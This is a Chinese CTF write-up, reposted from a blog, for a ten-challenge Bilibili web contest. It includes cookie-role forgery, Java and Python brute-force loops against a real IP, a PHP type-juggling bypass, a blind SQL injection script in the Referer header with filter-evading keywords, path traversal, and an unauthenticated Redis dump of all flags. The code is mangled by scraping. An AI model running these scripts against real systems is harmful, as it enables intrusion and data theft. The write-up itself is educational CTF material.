后五题Write Up主要来自:榜一写的writeup
第一题
“页面的背后是什么” 指网页源代码
Ctrl+U 查看网页源代码 看到向一个地方发送了get请求

发送一个请求,或者直接找找flag1相关的东西就能找到
第二题
"真正的秘密只有特殊的设备才能看到"指需要使用bilibili Security Browser浏览器访问
使用抓包工具抓包
把浏览器(UA)伪造成"bilibili Security Browser"
需要注意的是如果是Postman需要添加Cookie
第三题
“密码是啥”
密码是啥可以 自己试,此外,用网上给的弱口令词典是没有前途的~

第四题
"对不起,权限不足~"指你的身份不对

可以发现response里cookie set了个role=xxxxxxx, xxxxxxx是user对应的md5值,这里的脑洞在于你要把它改成Administrator对应的md5值。 
MD5

伪装成 超级管理员
猜测角色名字,首字母大写

第五题
Ctrl+U 查看网页源代码,看看它想要干什么
注意里面有个神奇的uid

暴力遍历要从合适的位置开始
Java版本
  
   - 
    
     
    
    
             
      for(
      int i=
      100336889;i<
      100999999;i++){
     
    
- 
    
     
    
    
     
                  Request.Builder builder1 = 
      new Request.Builder();
     
    
- 
    
     
    
    
     
                  Request build1 = builder1.url(
      "http://45.113.201.36/api/ctf/5?uid=" + i)
     
    
- 
    
     
    
    
     
                          .header(
      "Charset", 
      "UTF-8")
     
    
- 
    
     
    
    
     
                          .header(
      "Connection", 
      "Keep-Alive")
     
    
- 
    
     
    
    
     
                          .header(
      "Content-Type", 
      "application/x-www-form-urlencoded")
     
    
- 
    
     
    
    
     
                          .header(
      "Cookie", 
      "session=xx; role=ee11cbb19052e40b07aac0ca060c23ee")
     
    
- 
    
     
    
    
     
                          .get()
     
    
- 
    
     
    
    
     
                          .build();
     
    
- 
    
     
    
    
                 
      try{
     
    
- 
    
     
    
    
     
                      JSONObject j=JSONObject.parseObject(
      new HttpClient().newCall(build1).execute().body().string());
     
    
- 
    
     
    
    
                     
      //System.out.println(j);
     
    
- 
    
     
    
    
                     
      if(j.getString(
      "code").equals(
      "200")){
     
    
- 
    
     
    
    
     
                          System.out.println(j.getString(
      "data"));
     
    
- 
    
     
    
    
     
                      }
      else{
     
    
- 
    
     
    
    
                         
      if(i%
      100==
      0){
     
    
- 
    
     
    
    
     
                              System.out.println(i);
     
    
- 
    
     
    
    
     
                          }
     
    
- 
    
     
    
    
     
                      }
     
    
- 
    
     
    
    
     
                  }
      catch (Exception e){
     
    
- 
    
     
    
    
     
                      e.printStackTrace();
     
    
- 
    
     
    
    
     
                  }
     
    
- 
    
     
    
    
      
     
    
- 
    
     
    
    
     
              }
     
    
Python版本
  
   - 
    
     
    
    
     
      for uid 
      in range(
      100336889,
      99999999999):
     
    
- 
    
     
    
    
      
     
    
- 
    
     
    
    
     
          params = (
     
    
- 
    
     
    
    
     
              (
      'uid', uid),
     
    
- 
    
     
    
    
     
          )
     
    
- 
    
     
    
    
      
     
    
- 
    
     
    
    
     
          response = requests.get(
      'http://45.113.201.36/api/ctf/5', headers=headers, params=params, cookies=cookies, verify=
      False).json()
     
    
- 
    
     
    
    
         
      if response[
      'code'] != 
      '403':
     
    
- 
    
     
    
    
     
              print(response)
     
    
- 
    
     
    
    
     
              print(uid)
     
    
第六题
“结束亦是开始”
硬猜得到 /blog/end.php。
扫描
test.php
test.php的内容是jsfuck

执行

unicode 解码后是“程序员最多的地方”=>GitHub
搜索

https://github.com/interesting-1024/end/blob/6a1b18e8aa96e879045a66130ddb3ba26b9b8b10/end.php
  
   - 
    
     
    
    
     
      <?php
     
    
- 
    
     
    
    
     
      //filename end.php
     
    
- 
    
     
    
    
     
      $bilibili = 
      "bilibili1024havefun";
     
    
- 
    
     
    
    
     
      $str = intval($_GET[
      'id']);
     
    
- 
    
     
    
    
     
      $reg = preg_match(
      '/\d/is', $_GET[
      'id']);
     
    
- 
    
     
    
    
     
      if(!is_numeric($_GET[
      'id']) 
      and $reg !== 
      1 
      and $str === 
      1){
     
    
- 
    
     
    
    
     
      	$content = file_get_contents($_GET[
      'url']);
     
    
- 
    
     
    
    
     	
      //文件路径猜解
     
    
- 
    
     
    
    
     	
      if (
      false){
     
    
- 
    
     
    
    
     		
      echo 
      "还差一点点啦~";
     
    
- 
    
     
    
    
     
      	}
      else{
     
    
- 
    
     
    
    
     		
      echo $flag;
     
    
- 
    
     
    
    
     
      	}
     
    
- 
    
     
    
    
     
      }
      else{
     
    
- 
    
     
    
    
     	
      echo 
      "你想要的不在这儿~";
     
    
- 
    
     
    
    
     
      }
     
    
- 
    
     
    
    
     
      ?>
     
    
构造参数URL
结合前面题目的url猜测
http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt
这里跳转第十题
这里跳转第七题
这里跳转第九题
简单的SQL注入类型题目,但本题的注入点不在id,而是HTTP请求报文头部的Referer字段,并且题目过滤了一些常用来注入的字符串和符号,所以导致sqlmap无法探测到,可以进行手工注入或写脚本注入, 需要把一些字符串双写来绕过过滤。
  
   - 
    
     
    
    
     
      import requests
     
    
- 
    
     
    
    
     
      import time
     
    
- 
    
     
    
    
     
      import sys
     
    
- 
    
     
    
    
      
     
    
- 
    
     
    
    
     
      URL = 
      "http://120.92.151.189/blog/single.php?id=1"
     
    
- 
    
     
    
    
     
      payload = 
      "http://120.92.151.189/' oorr IF(ascii(substr((%s),%s,1))=%s,1,0)#"
     
    
- 
    
     
    
    
      
     
    
- 
    
     
    
    
     
      query = 
      "selselectect hex(flag) from flag limit 1"
     
    
- 
    
     
    
    
     
      rtn = 
      ""
     
    
- 
    
     
    
    
     
      for m 
      in range(
      1, 
      40):
     
    
- 
    
     
    
    
         
      for n 
      in 
      '!0123456789ABCDEF?':
     
    
- 
    
     
    
    
     
              n = ord(n)
     
    
- 
    
     
    
    
     
              rps = requests.get(URL, headers={
      "Referer": payload % (query, m, n)})
     
    
- 
    
     
    
    
             
      if rps.status_code == 
      503:
     
    
- 
    
     
    
    
                 
      while rps.status_code == 
      503:
     
    
- 
    
     
    
    
     
                      rps = requests.get(URL, headers={
      "Referer": payload % (query, m, n)})
     
    
- 
    
     
    
    
      
     
    
- 
    
     
    
    
             
      if 
      'admin' 
      in rps.text:
     
    
- 
    
     
    
    
                 
      if n == ord(
      '!'):
     
    
- 
    
     
    
    
     
                      exit(
      0)
     
    
- 
    
     
    
    
     
                  rtn += chr(n)
     
    
- 
    
     
    
    
      
     
    
- 
    
     
    
    
                 
      try:
     
    
- 
    
     
    
    
     
                      print(rtn.decode(
      'hex'))
     
    
- 
    
     
    
    
                 
      except Exception:
     
    
- 
    
     
    
    
                     
      pass
     
    
- 
    
     
    
    
                 
      break
     
    
- 
    
     
    
    
      
     
    
- 
    
     
    
    
             
      if n == ord(
      '?'):
     
    
- 
    
     
    
    
     
                  exit(
      0)
     
    
SQL注入是安全领域很常见的攻击方式,主要是因为服务端开发者错误拼接了sql语句,导致可以插入并执行恶意的sql语句来获取数据库里的敏感信息
第七题
第六题中
考察了任意文件读取,首先在前几题的HTML源码可以看到明显的/api/images?file=banner.png 并且有些有注释掉的banner.png,经过测试发现确实在web目录里有这个png,那么就会想到通过目录跳转来读取其他文件,于是
任意文件读取也是安全领域的一种问题,解这种题需要经验和反复尝试,当然这题是硬编码判断的
../../../flag7.txt,会让一些本来会做的人不会做了,一般的求解方式都是先判断?file=./banner.png是否还是正常返回,但这题返回404,很多人就认为根本没法任意文件读取了
第八题
第六题中
端口扫描
服务器开启了6379端口,Redis的默认端口
  
   - 
    
     
    
    
     
      [root@iz2ze77]
      # redis-cli -h 120.92.151.189 -p 6379
     
    
- 
    
     
    
    
     
      120.92.151.189:6379> keys *
     
    
- 
    
     
    
    
     
       1) 
      "flag4"
     
    
- 
    
     
    
    
     
       2) 
      "flag6"
     
    
- 
    
     
    
    
     
       3) 
      "flag7"
     
    
- 
    
     
    
    
     
       4) 
      "flag9"
     
    
- 
    
     
    
    
     
       5) 
      "flag8"
     
    
- 
    
     
    
    
     
       6) 
      "flag1"
     
    
- 
    
     
    
    
     
       7) 
      "flag2"
     
    
- 
    
     
    
    
     
       8) 
      "flag3"
     
    
- 
    
     
    
    
     
       9) 
      "flag5"
     
    
- 
    
     
    
    
     
      10) 
      "flag10"
     
    
- 
    
     
    
    
     
      120.92.151.189:6379> get flag1
     
    
- 
    
     
    
    
     
      "3b96173a-b3df4cdd-22d4c15f-261e7309"
     
    
- 
    
     
    
    
     
      120.92.151.189:6379> get flag2
     
    
- 
    
     
    
    
     
      "bd871042-1e09a130-3ddd4faa-cebdb048"
     
    
- 
    
     
    
    
     
      120.92.151.189:6379> get flag3
     
    
- 
    
     
    
    
     
      "c7f7a7c2-28b7f895-5432152b-6410e042"
     
    
- 
    
     
    
    
     
      120.92.151.189:6379> get flag4
     
    
- 
    
     
    
    
     
      "d338e3c8-93215105-258d79ba-b364e59c"
     
    
- 
    
     
    
    
     
      120.92.151.189:6379> get flag5
     
    
- 
    
     
    
    
     
      "612d1886-044898af-6c1e9dba-b58ad075"
     
    
- 
    
     
    
    
     
      120.92.151.189:6379> get flag6
     
    
- 
    
     
    
    
     
      "8aa6f15d-65e37c9b-78c2bc37-00ed5aee"
     
    
- 
    
     
    
    
     
      120.92.151.189:6379> get flag7
     
    
- 
    
     
    
    
     
      "b78ce2aa-10d03327-f2035f4e-55c17689"
     
    
- 
    
     
    
    
     
      120.92.151.189:6379> get flag8
     
    
- 
    
     
    
    
     
      "d436b982-2b81aa54-49a8d2db-87ab951a"
     
    
- 
    
     
    
    
     
      120.92.151.189:6379> get flag9
     
    
- 
    
     
    
    
     
      "b3238659-b81512e6-3a307c74-9877ecc5"
     
    
- 
    
     
    
    
     
      120.92.151.189:6379> get flag10
     
    
- 
    
     
    
    
     
      "e5653416-595b3d0c-4c2a57ee-c026350e"
     
    
因为扫描的原因,服务器很卡,容易掉线。
[root@iz2zeihez ~] # redis-cli -h 120.92.151.189 -p 6379
Could not connect to Redis at 120.92.151.189:6379: Connection refused
not connected> exit
[root@iz2zeihez ~] #
第九题
第六题中


网传解法:
AES解密
  
   - 
    
     
    
    
     
      from Crypto.Cipher 
      import AES
     
    
- 
    
     
    
    
     
      aes = AES.new(
      'aes_key'+
      '\x00'*
      9, AES.MODE_ECB)
     
    
- 
    
     
    
    
     
      print base64.b64encode(base64.b64encode(
      '00000000-00000000-00000000-00000000'))s=
      'SkRGWDZRZnJxelJQU21YME42MU04OWlwV1l0SlYvcEJRVEJPWWFYUXVHOGZBcnJ1bjNXS3hXRlpHd05uMjFjRw=='.decode(
      'base64')
     
    
- 
    
     
    
    
     
      print aes.decrypt(s.decode(
      'base64'))
     
    
flag9: 8b522546-e52d83b8-5682e05c-c8cb237c
第十题
第六题中
http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt

下载
二进制编辑器打开

参考文章
转载:https://blog.csdn.net/weixin_43272781/article/details/109262638
 
					